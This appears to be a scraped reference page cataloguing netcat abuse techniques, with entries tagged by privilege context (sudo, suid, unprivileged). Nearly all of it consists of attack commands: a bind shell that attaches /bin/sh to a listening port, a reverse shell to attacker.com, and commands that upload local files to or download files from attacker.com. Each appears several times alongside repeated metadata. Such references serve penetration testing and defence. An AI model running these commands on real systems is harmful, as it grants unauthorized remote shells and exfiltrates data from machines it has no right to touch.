This only works with netcat traditional.
nc -l -p 12345 -e /bin/sh
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- bind-shell
This only works with netcat traditional.
nc -l -p 12345 -e /bin/sh
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- bind-shell
The file is actually written by the invoking shell.
nc -l -p 12345 >/path/to/output-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- download
The file is actually written by the invoking shell.
nc -l -p 12345 >/path/to/output-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- download
download
File DownloadLinux
The file is actually written by the invoking shell.
nc -l -p 12345 >/path/to/output-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- download
The file is actually written by the invoking shell.
nc attacker.com 12345 >/path/to/output-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- download
The file is actually written by the invoking shell.
nc attacker.com 12345 >/path/to/output-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- download
download
File DownloadLinux
The file is actually written by the invoking shell.
nc attacker.com 12345 >/path/to/output-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- download
This only works with netcat traditional.
nc -e /bin/sh attacker.com 12345
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- reverse-shell
This only works with netcat traditional.
nc -e /bin/sh attacker.com 12345
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- reverse-shell
The file is actually read by the invoking shell.
nc -l -p 12345 </path/to/input-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- upload
The file is actually read by the invoking shell.
nc -l -p 12345 </path/to/input-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- upload
The file is actually read by the invoking shell.
nc -l -p 12345 </path/to/input-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- upload
The file is actually read by the invoking shell.
nc attacker.com 12345 </path/to/input-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- upload
The file is actually read by the invoking shell.
nc attacker.com 12345 </path/to/input-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- upload
The file is actually read by the invoking shell.
nc attacker.com 12345 </path/to/input-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- upload